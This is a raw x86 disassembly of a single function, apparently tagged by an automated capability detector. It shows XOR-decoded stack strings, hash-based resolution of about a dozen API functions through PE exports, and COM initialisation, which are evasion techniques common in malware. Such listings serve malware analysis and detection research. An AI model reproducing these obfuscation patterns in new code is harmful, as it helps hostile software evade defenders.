Function at 0x40b330
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18c
mov eax, dword [0x449a28]
mov dword [esp + 0xc], 0xa7dfa52b
mov dword [esp + 0x10], 0xa3daa1d6
mov dword [esp + 0x14], 0xbf32bd30
mov dword [esp + 0x18], 0xbb8cb9c8
mov dword [esp + 0x1c], 0xb7c2b5c8
mov dword [esp + 0x20], 0xb3b2b1c4
mov word [esp + 0x24], 0
mov byte [esp + 0x26], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x1a
ja 0x40b3c6
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0xc]
add ecx, 0x650f4ca8
xor ecx, edx
mov dword [esp + 0x10c], ecx
mov ecx, dword [esp + 0x10c]
add cl, 0xf4
mov edx, dword [esp]
mov byte [esp + edx + 0xc], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x1b
jb 0x40b390
lea esi, [esp + 0xc]
push 0x800
push 0
push esi
call eax
mov ecx, 0x4499f0
push eax
call fcn.0043bc90
xor ebx, ebx
test al, al
je 0x40bafa
push 0xe2bceb04
push dword [0x4499f0]
call fcn.0043e210
add esp, 8
mov dword [0x4499f8], eax
push 0x248106fa
push dword [0x4499f0]
call fcn.0043e210
add esp, 8
mov dword [0x4499fc], eax
push 0x89b8457d
push dword [0x4499f0]
call fcn.0043e210
add esp, 8
mov dword [0x449a00], eax
push 0x44f824fb
push dword [0x4499f0]
call fcn.0043e210
add esp, 8
mov dword [0x449a04], eax
push 0xf072343c
push dword [0x4499f0]
call fcn.0043e210
add esp, 8
mov dword [0x449a08], eax
push 0x638f2392
push dword [0x4499f0]
call fcn.0043e210
add esp, 8
mov dword [0x449a0c], eax
push 0xd711af57
push dword [0x4499f0]
call fcn.0043e210
add esp, 8
mov dword [0x449a10], eax
push 0x1ad145e2
push dword [0x4499f0]
call fcn.0043e210
add esp, 8
mov dword [0x449a14], eax
push 0xedb83653
push dword [0x4499f0]
call fcn.0043e210
add esp, 8
mov dword [0x449a18], eax
push 0xe9e47300
push dword [0x4499f0]
call fcn.0043e210
add esp, 8
mov dword [0x449a1c], eax
push 0x6b702a5b
push dword [0x4499f0]
call fcn.0043e210
add esp, 8
mov dword [0x449a20], eax
push 0xc135ffae
push dword [0x4499f0]
call fcn.0043e210
add esp, 8
mov dword [0x449a24], eax
lea edi, [esp + 0x10b]
lea eax, [esp + 0x10c]
push eax
push dword [ebx + 0x4423e4]
call fcn.004376d0
add esp, 8
mov ebp, edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + 1], 0
lea ebp, [ebp + 1]
jne 0x40b530
mov dword [esp], 0
mov eax, esi
lea ecx, [esp + 0x10c]
cmp ecx, ebp
jae 0x40b5b1
xor esi, esi
lea edi, [esp + 0x10c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi], 0
je 0x40b5a0
mov eax, esp
push eax
push ebp
push edi
call fcn.0040d860
add esp, 0xc
movzx edx, word [esp]
lea ecx, [esi + 2]
mov word [esp + esi + 0xc], dx
cmp esi, 0xfb
ja 0x40b58e
add edi, eax
mov esi, ecx
cmp edi, ebp
jb 0x40b560
lea eax, [esp + ecx]
add eax, 0xc
jmp 0x40b5a6
lea eax, [esp + esi]
add eax, 0xc
lea esi, [esp + 0xc]
lea edi, [esp + 0x10b]
mov word [eax], 0
push esi
call fcn.0040bb10
add esp, 4
test al, al
jne 0x40b818
add ebx, 4
cmp ebx, 0x24
jne 0x40b510
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0xaa15a807
mov dword [esp + 0x10], 0xb605b417
mov dword [esp + 0x14], 0xb24bb004
mov dword [esp + 0x18], 0xbe4abc44
mov dword [esp + 0x1c], 0xba05b80c
mov dword [esp + 0x20], 0x86248416
mov dword [esp + 0x24], 0x82228032
mov dword [esp + 0x28], 0x8e388c34
mov dword [esp + 0x2c], 0x8a34883a
mov dword [esp + 0x30], 0x963c943d
mov dword [esp + 0x34], 0x9228902b
mov dword [esp + 0x38], 0x9e3e9c65
mov dword [esp + 0x3c], 0x9a2c9828
mov dword [esp + 0x40], 0x66d5646c
mov dword [esp + 0x44], 0x62d660d5
mov dword [esp + 0x48], 0x6ec46ccd
mov dword [esp + 0x4c], 0x6ac468db
mov dword [esp + 0x50], 0x768274d8
mov dword [esp + 0x54], 0x728f7088
mov dword [esp + 0x58], 0x7e837c8e
mov dword [esp + 0x5c], 0x7a88788e
mov dword [esp + 0x60], 0x46bc4482
mov dword [esp + 0x64], 0x42b340b8
mov dword [esp + 0x68], 0x4ebe4cbf
mov dword [esp + 0x6c], 0x4ab848bc
mov dword [esp + 0x70], 0x56a554b2
mov dword [esp + 0x74], 0x525150a7
mov dword [esp + 0x78], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x6f
ja 0x40b714
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0xc]
add eax, 0x23fb8ccb
xor eax, ecx
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x10c]
add al, 0x9c
mov ecx, dword [esp]
mov byte [esp + ecx + 0xc], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x70
jb 0x40b6e0
lea eax, [esp + 8]
lea ecx, [esp + 4]
lea edi, [esp + 0xc]
push eax
push ecx
push edi
call fcn.0040c0d0
add esp, 0xc
test al, al
je 0x40baf8
mov dword [esp + 0xc], 0x417775a1
mov dword [esp + 0x10], 0x48408277
mov dword [esp + 0x14], 0x9d4c4d7c
mov dword [esp + 0x18], 0x58787bbb
mov dword [esp + 0x1c], 0x77437758
mov dword [esp + 0x20], 0x5f414f41
mov dword [esp + 0x24], 0x6f6e585a
mov dword [esp + 0x28], 0x595e6b5f
mov word [esp + 0x2c], 0x80a7
mov byte [esp + 0x2e], 0xc7
mov dword [esp + 0x2f], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x26
ja 0x40b7d4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0xc]
add eax, 0xe59e97d9
xor eax, ecx
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x10c]
add al, 0xc4
mov ecx, dword [esp]
mov byte [esp + ecx + 0xc], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x27
jb 0x40b7a0
mov ecx, dword [esp + 4]
movzx ebx, byte [esp + 0xc]
test bl, bl
je 0x40b89e
mov edx, edi
mov eax, ecx
jmp 0x40b7fb
movzx ebx, byte [edx]
test bl, bl
je 0x40b8a0
mov bh, byte [ecx]
test bh, bh
je 0x40baec
inc ecx
inc edx
lea esi, [eax + 1]
cmp bh, bl
je 0x40b812
mov eax, esi
mov ecx, esi
je 0x40b7f0
mov edx, edi
jmp 0x40b7f0
movzx eax, word [esp + 0xc]
test ax, ax
je 0x40b84f
mov ecx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx + 0x449a2a], ax
movzx eax, word [esp + ecx + 0xc]
add ecx, 2
test ax, ax
jne 0x40b830
mov word [ecx + 0x449a2a], 0
jmp 0x40b858
mov word [0x449a2c], 0
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x40baf8
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x40baf8
push 0x4499cc
call fcn.00436a30
add esp, 4
mov bl, 1
jmp 0x40bafa
mov eax, ecx
test eax, eax
je 0x40baec
mov dword [esp + 0xc], 0xece81525
mov dword [esp + 0x10], 0x6021d0dc
mov word [esp + 0x14], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 9
ja 0x40b906
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0xc]
add ecx, 0x827d0349
xor ecx, edx
mov dword [esp + 0x10c], ecx
mov ecx, dword [esp + 0x10c]
add cl, 0xd0
mov edx, dword [esp]
mov byte [esp + edx + 0xc], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0xa
jb 0x40b8d0
movzx edx, byte [esp + 0xc]
mov ecx, eax
test dl, dl
je 0x40b944
lea ebp, [esp + 0xc]
mov edi, ebp
mov ebx, eax
mov ecx, eax
jmp 0x40b927
movzx edx, byte [edi]
test dl, dl
je 0x40b944
mov dh, byte [ebx]
test dh, dh
je 0x40baec
inc ebx
inc edi
lea esi, [ecx + 1]
cmp dh, dl
je 0x40b93e
mov ecx, esi
mov ebx, esi
je 0x40b920
mov edi, ebp
jmp 0x40b920
test ecx, ecx
je 0x40baec
mov byte [ecx], 0
mov ecx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + ecx + 0x24], 0
lea ecx, [ecx + 1]
jne 0x40b960
mov edx, ecx
inc edx
je 0x40ba15
test ecx, ecx
je 0x40b9e1
mov esi, edx
and edx, 0xfffffffe
mov edi, edx
xor edx, edx
jmp 0x40b997
add bh, 0x61
mov bl, bh
mov byte [esp + edx + 0x10d], bl
add edx, 2
mov ebx, edi
cmp edi, edx
je 0x40b9e5
movzx ebx, byte [eax + edx + 0x22]
mov bh, bl
add bh, 0x9f
cmp bh, 0x19
ja 0x40b9ba
mov bh, bl
add bh, 0xae
cmp bh, 0x1a
jb 0x40b9b5
add bl, 0x94
mov bh, bl
add bh, 0x61
mov bl, bh
mov byte [esp + edx + 0x10c], bl
movzx ebx, byte [eax + edx + 0x23]
mov bh, bl
add bh, 0x9f
cmp bh, 0x19
ja 0x40b987
mov bh, bl
add bh, 0xae
cmp bh, 0x1a
jb 0x40b982
add bl, 0x94
mov bh, bl
jmp 0x40b982
mov esi, edx
xor edx, edx
mov ebx, esi
test bl, 1
je 0x40ba15
movzx eax, byte [eax + edx + 0x22]
mov ah, al
add ah, 0x9f
cmp ah, 0x19
ja 0x40ba0e
mov ah, al
add ah, 0xae
cmp ah, 0x1a
jb 0x40ba09
add al, 0x94
mov ah, al
add ah, 0x61
mov al, ah
mov byte [esp + edx + 0x10c], al
mov byte [esp + ecx + 0x10d], 0
lea ebx, [esp + 0x10b]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x40ba30
mov dword [esp], 0
lea edi, [esp + 0xc]
lea ebp, [esp + 0x10c]
mov eax, edi
cmp ebp, ebx
jae 0x40ba8d
xor esi, esi
cmp byte [ebp], 0
je 0x40ba87
mov eax, esp
push eax
push ebx
push ebp
call fcn.0040d860
add esp, 0xc
movzx edx, word [esp]
lea ecx, [esi + 2]
mov word [esp + esi + 0xc], dx
cmp esi, 0x7b
ja 0x40ba7f
add ebp, eax
mov esi, ecx
cmp ebp, ebx
jb 0x40ba53
lea eax, [esp + ecx]
add eax, 0xc
jmp 0x40ba8d
lea eax, [esp + esi]
add eax, 0xc
mov word [eax], 0
push edi
call fcn.0040bb10
add esp, 4
test al, al
je 0x40baec
mov ebx, eax
movzx ecx, word [esp + 0xc]
mov eax, 0x449a2c
test cx, cx
je 0x40bad1
lea edx, [esp + 0xe]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x40bac0
mov word [eax], 0
push dword [esp + 4]
call fcn.0043a960
add esp, 4
test bl, bl
jne 0x40b858
jmp 0x40baf8
push dword [esp + 4]
call fcn.0043a960
add esp, 4
xor ebx, ebx
mov eax, ebx
add esp, 0x18c
pop esi
pop edi
pop ebx
pop ebp
ret